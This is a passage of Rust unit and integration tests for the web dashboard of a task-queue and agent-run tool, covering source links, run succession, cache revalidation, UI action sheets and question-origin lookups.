22306 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22307 }
22308
22309 #[test]
22310 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22311 assert!(
22312 !APP_JS.contains("src.node === \"chat\""),
22313 "inline href rule is back"
22314 );
22315 assert!(
22316 APP_JS.matches("sourceLinkOf(").count() >= 4,
22317 "helper must serve every page"
22318 );
22319 assert!(
22320 APP_JS.matches("openChatLink(").count() >= 3,
22321 "the run page still needs its explicit chat link"
22322 );
22323 assert!(
22324 !APP_JS.contains("const openChat = el("),
22325 "the Queue card duplicates its source label link again"
22326 );
22327 assert!(
22328 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22329 "the task page must link a chat source label too"
22330 );
22331 }
22332
22333 #[test]
22334 fn task_ref_carries_the_source_link_for_a_chat_task() {
22335 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22336 t.source = Source::Agent {
22337 run: "20260904-014455-ab12".to_owned(),
22338 node: "chat".to_owned(),
22339 };
22340 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22341 let v = serde_json::to_value(&out).expect("json");
22342 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22343 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22344 assert_eq!(v["source_label"], t.source.label());
22345
22346 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22347 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22348 .expect("json");
22349 assert!(v["source_link"].is_null(), "{v}");
22350 }
22351
22352 #[test]
22353 fn task_view_serializes_source_link() {
22354 let mut t = Task::new(
22355 "t".to_owned(),
22356 "t".to_owned(),
22357 PathBuf::from("/repo"),
22358 Source::Agent {
22359 run: "20260901-000000-aaaa".to_owned(),
22360 node: "implement".to_owned(),
22361 },
22362 );
22363 t.runs.clear();
22364 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22365 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22366 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22367 }
22368
22369 #[test]
22370 fn task_view_serializes_urgent_flag() {
22371 let mut t = Task::new(
22372 "t".to_owned(),
22373 "t".to_owned(),
22374 PathBuf::from("/repo"),
22375 Source::Human,
22376 );
22377 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22378 assert_eq!(v["urgent"], false, "{v}");
22379 t.urgent = true;
22380 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22381 assert_eq!(v["urgent"], true, "{v}");
22382 assert!(APP_JS.contains("task.urgent === true"));
22383 }
22384
22385 #[tokio::test]
22386 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22387 let fx = Fixture::start().await;
22388 let runs = fx.runs();
22389 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22390 write_run(&runs, old, RunStatus::Blocked);
22391 write_run(&runs, new, RunStatus::Merged);
22392 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22393 fx.queue().put(&mut t).expect("put");
22394
22395 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22396 let task = &view["task"];
22397 assert_eq!(task["status"], "done");
22398 assert_eq!(task["is_latest"], false);
22399 assert_eq!(task["latest"]["short"], "bbbb");
22400 assert_eq!(task["finished_by"]["id"], new);
22401 assert_eq!(task["finished_by"]["outcome"], "merged");
22402 assert_eq!(task["closed_by_hand"], false);
22403 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22404 assert!(APP_JS.contains("finished_by"));
22405 assert!(APP_JS.contains("superseded by run"));
22406 }
22407
22408 #[tokio::test]
22409 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22410 let fx = Fixture::start().await;
22411 let runs = fx.runs();
22412 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22413 write_run(&runs, old, RunStatus::Stalled);
22414 write_run(&runs, new, RunStatus::Blocked);
22415 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22416 fx.queue().put(&mut t).expect("put");
22417
22418 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22419 assert_eq!(task["status"], "held");
22420 assert_eq!(task["is_latest"], true);
22421 assert!(task["latest"].is_null());
22422 assert!(task["finished_by"].is_null());
22423 assert_eq!(task["closed_by_hand"], false);
22424 }
22425
22426 #[tokio::test]
22427 async fn a_direct_run_has_no_task_outcome() {
22428 let fx = Fixture::start().await;
22429 let runs = fx.runs();
22430 let id = "20260901-000000-aaaa";
22431 write_run(&runs, id, RunStatus::Blocked);
22432 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22433 assert!(view["task"].is_null());
22434 }
22435
22436 #[test]
22437 fn task_outcome_does_not_guess_a_finishing_run() {
22438 let a = "20260901-000000-aaaa";
22439 let b = "20260901-000000-bbbb";
22440 let c = "20260901-000000-cccc";
22441 let dir = tempfile::tempdir().expect("tempdir");
22442 write_run(dir.path(), a, RunStatus::Blocked);
22443 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22444 let read = |id: &str| read_run(dir.path(), id).ok();
22446 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22449 let out = task_outcome(&t, a, 3, read);
22450 assert!(out.finished_by.is_none());
22451 assert!(out.closed_by_hand);
22452 let latest = out.latest.expect("latest");
22453 assert_eq!(latest.id, c);
22454 assert_eq!(latest.status, None);
22455 assert_eq!(latest.outcome, "record unreadable");
22456
22457 write_run(dir.path(), c, RunStatus::Ready);
22459 let t = outcome_task(&[a, c], TaskStatus::Done);
22460 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22461 assert_eq!(out.finished_by.expect("finisher").id, c);
22462 assert!(!out.closed_by_hand);
22463
22464 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22466 assert!(task_outcome(&t, a, 3, read).is_latest);
22467 }
22468
22469 #[tokio::test]
22470 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22471 let fx = Fixture::start().await;
22476 let q = fx.queue();
22477 let runs = fx.runs();
22478 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22479 write_run(&runs, first, RunStatus::Blocked);
22480 write_run(&runs, second, RunStatus::Merged);
22481
22482 let mut t = Task::new(
22483 "one task".to_owned(),
22484 "do it".to_owned(),
22485 PathBuf::from("/repo"),
22486 Source::Human,
22487 );
22488 t.runs = vec![first.to_owned(), second.to_owned()];
22489 q.put(&mut t).expect("put");
22490
22491 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22492 assert_eq!(earlier["superseded_by"], "dddd");
22493 assert_eq!(earlier["latest_attempt"]["id"], second);
22494 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22495 assert_eq!(
22496 earlier["latest_attempt"]["resolved"], true,
22497 "the run that replaced it landed, so this one reads as settled"
22498 );
22499
22500 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22501 assert!(
22502 later["superseded_by"].is_null(),
22503 "the latest attempt is not superseded by anything"
22504 );
22505 assert!(
22506 later["latest_attempt"].is_null(),
22507 "the latest attempt has no later attempt of its own"
22508 );
22509
22510 assert!(APP_JS.contains("run.latest_attempt"));
22517 assert!(APP_JS.contains("data-superseded"));
22518 assert!(APP_JS.contains("#/runs/${latest.id}"));
22519 }
22520
22521 #[tokio::test]
22522 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22523 let fx = Fixture::start().await;
22529 let q = fx.queue();
22530 let runs = fx.runs();
22531 let (a, b, c) = (
22532 "20260901-000000-aaaa",
22533 "20260901-000000-bbbb",
22534 "20260901-000000-cccc",
22535 );
22536 write_run(&runs, a, RunStatus::Blocked);
22537 write_run(&runs, b, RunStatus::Blocked);
22538 write_run(&runs, c, RunStatus::Merged);
22539
22540 let mut t = Task::new(
22541 "retried twice".to_owned(),
22542 "do it".to_owned(),
22543 PathBuf::from("/repo"),
22544 Source::Human,
22545 );
22546 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22547 q.put(&mut t).expect("put");
22548
22549 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22550 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22551 assert_eq!(
22552 view["latest_attempt"]["id"], c,
22553 "the chain's current head, not the intermediate Blocked retry"
22554 );
22555 assert_eq!(view["latest_attempt"]["resolved"], true);
22556
22557 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22558 assert_eq!(mid["latest_attempt"]["id"], c);
22559 assert_eq!(mid["latest_attempt"]["resolved"], true);
22560 }
22561
22562 #[tokio::test]
22563 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22564 let fx = Fixture::start().await;
22565 let q = fx.queue();
22566 let runs = fx.runs();
22567
22568 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22571 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22572 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22573 let mut t1 = Task::new(
22574 "still stuck".to_owned(),
22575 "do it".to_owned(),
22576 PathBuf::from("/repo"),
22577 Source::Human,
22578 );
22579 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22580 q.put(&mut t1).expect("put");
22581 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22582 assert_eq!(view1["latest_attempt"]["resolved"], false);
22583 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22584 assert_eq!(view1["latest_attempt"]["done"], true);
22585
22586 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22588 write_run(&runs, run_a, RunStatus::Blocked);
22589 write_run(&runs, run_b, RunStatus::Implementing);
22590 let mut t3 = Task::new(
22591 "retrying".to_owned(),
22592 "do it".to_owned(),
22593 PathBuf::from("/repo"),
22594 Source::Human,
22595 );
22596 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22597 q.put(&mut t3).expect("put");
22598 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22599 assert_eq!(view3["latest_attempt"]["id"], run_b);
22600 assert_eq!(view3["latest_attempt"]["resolved"], false);
22601 assert_eq!(view3["latest_attempt"]["done"], false);
22602
22603 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22608 write_run(&runs, noop_a, RunStatus::Blocked);
22609 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22610 let mut t2 = Task::new(
22611 "claims done".to_owned(),
22612 "do it".to_owned(),
22613 PathBuf::from("/repo"),
22614 Source::Human,
22615 );
22616 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22617 q.put(&mut t2).expect("put");
22618 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22619 assert_eq!(
22620 view2["latest_attempt"]["resolved"], false,
22621 "an unverified no-op claim must not read as a confirmed finish"
22622 );
22623
22624 assert!(APP_JS.contains("latest.resolved"));
22627 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22630 assert!(APP_JS.contains("Latest attempt: "));
22631 assert!(APP_JS.contains("in flight"));
22632 assert!(APP_JS.contains("not resolved"));
22633 }
22634
22635 #[tokio::test]
22636 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22637 let fx = Fixture::start().await;
22638 let js = fx.get("/app.js").await;
22644 assert_eq!(js.status, 200);
22645 let tag = js
22646 .header("etag")
22647 .expect("an etag to revalidate against")
22648 .to_owned();
22649 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22650 assert_eq!(
22651 js.header("cache-control"),
22652 Some("no-cache, must-revalidate"),
22653 "the phone has to ask every time"
22654 );
22655
22656 let again = fx
22659 .get_with("/app.js", &[("if-none-match", tag.as_str())])
22660 .await;
22661 assert_eq!(
22662 again.status, 304,
22663 "a deck it already has costs one round trip"
22664 );
22665 assert!(again.body.is_empty(), "304 carries no body");
22666
22667 let weak = fx
22670 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22671 .await;
22672 assert_eq!(weak.status, 304);
22673 let stale = fx
22674 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22675 .await;
22676 assert_eq!(stale.status, 200, "an older build must be replaced");
22677 assert!(stale.body.contains("renderRunActions"));
22678 }
22679
22680 #[test]
22681 fn the_task_detail_has_an_actions_fab_and_sheet() {
22682 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22683 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22684 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22685 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22687 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22688 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
22690 assert!(APP_JS.contains("renderTaskActions(null);"));
22691 let sheet = APP_JS
22693 .find("function renderTaskActions")
22694 .expect("sheet renderer");
22695 let body = &APP_JS[sheet..sheet + 3000];
22696 assert!(body.contains("changePriority("));
22697 assert!(body.contains("openTaskEdit(task)"));
22698 assert!(body.contains("renderTaskHoldBox(host"));
22699 assert!(body.contains("renderTaskDoneBox(host"));
22700 assert!(body.contains("renderTaskDeleteBox(host"));
22701 assert!(APP_JS.contains("API.priority(id)"));
22702 assert!(APP_JS.contains("API.deleteTask(id)"));
22703 assert!(APP_JS.contains("location.hash = \"#/queue\""));
22705 assert!(APP_JS.contains("$(\"task-actions-error\")"));
22707 }
22708
22709 #[test]
22710 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22711 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22712 let actions = INDEX_HTML
22713 .find("id=\"run-actions-box\"")
22714 .expect("actions box");
22715 assert!(task < actions, "the task entry comes first in the sheet");
22716 assert!(APP_JS.contains("renderRunTaskEntry"));
22717 assert!(APP_JS.contains("\"Open task \""));
22718 assert!(APP_JS.contains("started directly, no task"));
22720 assert!(APP_JS.contains("sheet-task-link"));
22721 assert!(APP_JS.contains("task-chip-link"));
22722 }
22723
22724 #[test]
22725 fn the_deck_never_sends_the_operator_to_a_terminal() {
22726 assert!(
22729 !APP_JS.contains("Run `magi fold` first"),
22730 "the deck must offer the fold, not prescribe a shell command"
22731 );
22732 assert!(APP_JS.contains("foldRun:"));
22733 assert!(APP_JS.contains("resumeRun:"));
22734 assert!(APP_JS.contains("renderRunActions"));
22735
22736 assert!(APP_JS.contains("armedFold"));
22738 assert!(APP_JS.contains("Yes, fold worktrees"));
22739
22740 assert!(APP_JS.contains("can no longer be resumed"));
22743 }
22744
22745 #[test]
22746 fn a_finished_run_explains_itself_with_its_own_last_line() {
22747 assert!(
22753 !APP_JS.contains("collapsed on agent quota"),
22754 "a stall must not be explained by a cause the deck did not check"
22755 );
22756 assert!(
22757 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22758 "and a block must not offer a guess with an `or` in it"
22759 );
22760
22761 assert!(
22765 APP_JS.contains("setText(r.event, run.event || \"\")"),
22766 "the run's last line is rendered unconditionally"
22767 );
22768 assert!(
22769 !APP_JS.contains("moving && run.event"),
22770 "and never gated on the run still moving"
22771 );
22772
22773 assert!(APP_JS.contains("lost to quota"));
22775 }
22776
22777 #[test]
22799 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22800 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22801 let shapes_body_start =
22802 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22803 let shapes_close = APP_JS[shapes_body_start..]
22804 .find("].map(")
22805 .expect("the shape list is closed by its done-computing .map(...)")
22806 + shapes_body_start;
22807 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22808
22809 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22810 for entry in shapes_src.split('{').skip(1) {
22811 let waiting = entry.contains("waiting: true");
22812 let dead = entry.contains("live: \"dead\"");
22813 let status_at =
22814 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22815 let status_end = entry[status_at..]
22816 .find('"')
22817 .expect("the status string is closed")
22818 + status_at;
22819 let parked = entry.contains("display_status: \"parked\"");
22820 shapes.push((
22821 waiting,
22822 entry[status_at..status_end].to_string(),
22823 dead,
22824 parked,
22825 ));
22826 }
22827 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22828
22829 let done_rule_marker = "done: !";
22833 let done_rule_at = APP_JS[shapes_close..]
22834 .find(done_rule_marker)
22835 .expect("the done rule follows the shape list")
22836 + shapes_close
22837 + done_rule_marker.len();
22838 let includes_at = APP_JS[done_rule_at..]
22839 .find(".includes(shape.status)")
22840 .expect("the done rule ends in .includes(shape.status)")
22841 + done_rule_at;
22842 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22843 .trim()
22844 .trim_start_matches('[')
22845 .trim_end_matches(']')
22846 .split(',')
22847 .map(|s| s.trim().trim_matches('"'))
22848 .filter(|s| !s.is_empty())
22849 .collect();
22850
22851 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22852 .into_iter()
22853 .map(|(waiting, status, dead, parked)| {
22854 let done = !not_done.contains(&status.as_str());
22855 (waiting, status, dead, parked, done)
22856 })
22857 .collect();
22858
22859 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22863 if waiting {
22864 return "waiting";
22865 }
22866 if dead
22867 && !parked
22868 && !matches!(
22869 status,
22870 "merged"
22871 | "ready"
22872 | "stalled"
22873 | "blocked"
22874 | "failed"
22875 | "verified_noop"
22876 | "superseded"
22877 | "already_in_base"
22878 )
22879 {
22880 return "stale";
22881 }
22882 match status {
22883 "merged" | "ready" => "landed",
22884 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22885 | "already_in_base" => "ended",
22886 _ => "flight",
22887 }
22888 }
22889
22890 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22893 match filter_key {
22894 "active" => !done,
22895 "flight" => !done && !waiting && !dead,
22896 "stale" => !done && !waiting && dead,
22897 "waiting" => waiting,
22898 "done" => done,
22899 "all" => true,
22900 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22901 }
22902 }
22903
22904 let compatible = |section: &str, filter_key: &str| {
22905 shapes.iter().any(|(waiting, status, dead, parked, done)| {
22906 run_section(*waiting, status, *dead, *parked) == section
22907 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22908 })
22909 };
22910
22911 let expected = [
22916 ("waiting", [true, false, false, true, true, true]),
22917 ("stale", [true, false, true, false, false, true]),
22918 ("flight", [true, true, false, false, false, true]),
22919 ("landed", [false, false, false, false, true, true]),
22920 ("ended", [false, false, false, false, true, true]),
22921 ];
22922 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22923
22924 for (section, wants) in expected {
22925 for (filter_key, want) in filter_keys.iter().zip(wants) {
22926 assert_eq!(
22927 compatible(section, filter_key),
22928 want,
22929 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22930 );
22931 }
22932 }
22933
22934 assert!(
22937 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22938 );
22939 assert!(APP_JS.contains(
22940 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22941 ));
22942 assert!(APP_JS.contains(
22943 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22944 ));
22945 }
22946
22947 #[tokio::test]
22948 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22949 let dir = tempfile::tempdir().expect("tempdir");
22953 let explicit = dir.path().join("not-a-checkout");
22954 std::fs::create_dir_all(&explicit).expect("create dir");
22955 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22956
22957 let missing = dir.path().join("does-not-exist-at-all");
22958 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22959 }
22960
22961 #[test]
22962 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22963 assert!(APP_JS.contains("function statsDonutArcs"));
22964 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22965 assert!(APP_JS.contains("function statusInBucket"));
22967 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22968 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22969 let buckets = [
22970 "merged",
22971 "ready",
22972 "in_progress",
22973 "blocked",
22974 "failed",
22975 "verified_noop",
22976 "superseded",
22977 "stalled",
22978 ];
22979 for key in buckets {
22980 let var = format!("--verdict-{key}:");
22981 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22983 assert!(
22984 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22985 "{key}"
22986 );
22987 }
22988 }
22989
22990 #[tokio::test]
22991 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
22992 let dir = tempfile::tempdir().expect("tempdir");
22993 let queue = Queue::at(dir.path().join("queue"));
22994 let talks = Talks::at(dir.path().join("talks"));
22995 std::fs::create_dir_all(queue.root()).unwrap();
22996 std::fs::create_dir_all(talks.root()).unwrap();
22997
22998 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23000 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23001
23002 let mut task = Task::new(
23004 "title".into(),
23005 "inst".into(),
23006 PathBuf::from("/repo"),
23007 Source::Human,
23008 );
23009 task.id = "20261019-123456-abcd".into();
23010 std::fs::write(
23012 queue.path_of(&task.id),
23013 serde_json::to_string(&task).unwrap(),
23014 )
23015 .unwrap();
23016
23017 let talk_id = "20261019-234567-cdef";
23018 seed_talk_at(&talks, talk_id, "open");
23019
23020 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23022 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23023
23024 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23026 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23027 }
23028
23029 #[tokio::test]
23030 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23031 let home = tempfile::tempdir().unwrap();
23032 let ui = delta_test_ui(home.path());
23033 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23035 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23036 assert!(
23037 questions_list(State(ui.clone()))
23038 .await
23039 .unwrap()
23040 .0
23041 .is_empty()
23042 );
23043 assert!(
23044 question_origins(State(ui.clone()))
23045 .await
23046 .unwrap()
23047 .0
23048 .is_empty()
23049 );
23050 let mut question = Question::new(
23051 "run-history".into(),
23052 "review".into(),
23053 "seat".into(),
23054 "Useful question".into(),
23055 "Useful detail".into(),
23056 vec![],
23057 );
23058 ui.questions.put(&mut question).unwrap();
23059 let core = questions_core(State(ui.clone())).await.unwrap().0;
23060 assert_eq!(core.len(), 1);
23061 assert_eq!(core[0].question.summary, "Useful question");
23062 assert!(!core[0].can_consult_chat);
23063 assert!(core[0].origin_chat.is_none());
23064 assert_eq!(core[0].record_revision, question_record_revision(&question));
23065 assert!(question_origins(State(ui.clone())).await.is_err());
23066 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23067 }
23068
23069 #[tokio::test]
23070 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23071 let home = tempfile::tempdir().unwrap();
23072 let ui = delta_test_ui(home.path());
23073 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23074 let mut parent = Task::new(
23075 "parent".into(),
23076 "body".into(),
23077 PathBuf::from("/repo"),
23078 Source::Agent {
23079 run: chat.clone(),
23080 node: crate::queue::CHAT_NODE.into(),
23081 },
23082 );
23083 parent.id = "parent-task".into();
23084 parent.runs = vec!["parent-run".into()];
23085 ui.queue.put(&mut parent).unwrap();
23086 let mut previous = parent;
23087 for generation in 1..=2 {
23088 let mut child = Task::new(
23089 "child".into(),
23090 "body".into(),
23091 PathBuf::from("/repo"),
23092 Source::Human,
23093 );
23094 child.id = format!("child-task-{generation}");
23095 child.runs = vec![format!("child-run-{generation}")];
23096 child.followup = Some(crate::queue::FollowUp {
23097 origin_task: Some(previous.id.clone()),
23098 run: previous.runs[0].clone(),
23099 pr: String::new(),
23100 findings: vec![],
23101 generation,
23102 });
23103 ui.queue.put(&mut child).unwrap();
23104 previous = child;
23105 }
23106 let mut collision = Task::new(
23109 "collision".into(),
23110 String::new(),
23111 PathBuf::from("/repo"),
23112 Source::Human,
23113 );
23114 collision.id = "collision-task".into();
23115 collision.runs = vec![previous.id.clone()];
23116 ui.queue.put(&mut collision).unwrap();
23117 let mut questions = Vec::new();
23118 for (node, reference, expected, eligible) in [
23119 (crate::triage::NODE, previous.id.as_str(), true, false),
23120 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23121 ("review", previous.runs[0].as_str(), true, true),
23122 (
23123 crate::bump::NOTICE_NODE,
23124 previous.runs[0].as_str(),
23125 true,
23126 false,
23127 ),
23128 ("review", previous.id.as_str(), false, false),
23130 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23131 ("review", "unrelated", false, false),
23132 ] {
23133 let mut q = Question::new(
23134 reference.into(),
23135 node.into(),
23136 "seat".into(),
23137 "Question".into(),
23138 String::new(),
23139 vec![],
23140 );
23141 ui.questions.put(&mut q).unwrap();
23142 questions.push((q, expected, eligible));
23143 }
23144 for (node, reference, associated, eligible) in [
23145 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23146 (
23147 crate::reconcile::NODE,
23148 previous.runs[0].as_str(),
23149 false,
23150 true,
23151 ),
23152 ("implement", previous.id.as_str(), false, false),
23153 ] {
23154 let mut q = Question::new(
23155 reference.into(),
23156 node.into(),
23157 crate::reconcile::SEAT.into(),
23158 "Reconcile".into(),
23159 String::new(),
23160 vec![],
23161 );
23162 ui.questions.put(&mut q).unwrap();
23163 questions.push((q, associated, eligible));
23164 }
23165 let mut release = Question::new(
23166 "release-record".into(),
23167 crate::bump::NOTICE_NODE.into(),
23168 "release-watch".into(),
23169 "Release".into(),
23170 String::new(),
23171 vec![],
23172 );
23173 ui.questions.put(&mut release).unwrap();
23174 let watch = crate::release_watch::WatchState {
23175 question: Some(release.id.clone()),
23176 run: Some(previous.runs[0].clone()),
23177 held_task: Some(previous.id.clone()),
23178 ..Default::default()
23179 };
23180 let watch_dir = home.path().join("release-watch");
23181 std::fs::create_dir_all(&watch_dir).unwrap();
23182 let watch_path = watch_dir.join("watch.json");
23183 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23184 for batch in [
23186 Vec::new(),
23187 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23188 ] {
23189 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23190 assert!(watches.is_empty());
23191 }
23192 questions.push((release.clone(), true, false));
23193
23194 let views = questions_list(State(ui.clone())).await.unwrap().0;
23195 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23196 for (q, associated, eligible) in &questions {
23197 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23198 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23199 let expected = associated.then_some(chat.as_str());
23200 assert_eq!(
23201 view.origin_chat.as_deref(),
23202 expected,
23203 "{} {}",
23204 q.node,
23205 q.run
23206 );
23207 assert_eq!(origin.origin_chat.as_deref(), expected);
23208 assert_eq!(view.origin_chat_closed, *associated);
23209 assert_eq!(origin.origin_chat_closed, *associated);
23210 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23211 assert_eq!(origin.can_consult_chat, *eligible);
23212 }
23213 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23215 let link = crate::release_watch::WatchState {
23216 run,
23217 held_task,
23218 ..watch.clone()
23219 };
23220 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23221 let (tasks, talks, watches) =
23222 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23223 assert_eq!(
23224 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23225 .unwrap()
23226 .id,
23227 chat,
23228 );
23229 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23230 }
23231 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23232 let duplicate_path = watch_dir.join("duplicate.json");
23234 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23235 let (tasks, talks, watches) =
23236 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23237 assert!(
23238 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23239 .is_none()
23240 );
23241 std::fs::remove_file(duplicate_path).unwrap();
23242 let mut unrelated = Task::new(
23244 "other".into(),
23245 String::new(),
23246 PathBuf::from("/repo"),
23247 Source::Human,
23248 );
23249 unrelated.id = "unrelated-task".into();
23250 ui.queue.put(&mut unrelated).unwrap();
23251 let mut conflicting = watch.clone();
23252 conflicting.held_task = Some(unrelated.id);
23253 std::fs::write(
23254 watch_dir.join("conflict.json"),
23255 serde_json::to_vec(&conflicting).unwrap(),
23256 )
23257 .unwrap();
23258 let (tasks, talks, watches) =
23259 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23260 assert!(
23261 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23262 .is_none()
23263 );
23264 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23265 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23266 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23267 assert!(origin.origin_chat.is_none());
23268 assert!(!origin.origin_chat_closed);
23269 }
23270 }
23271
23272 #[test]
23273 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23274 let home = tempfile::tempdir().unwrap();
23275 let ui = delta_test_ui(home.path());
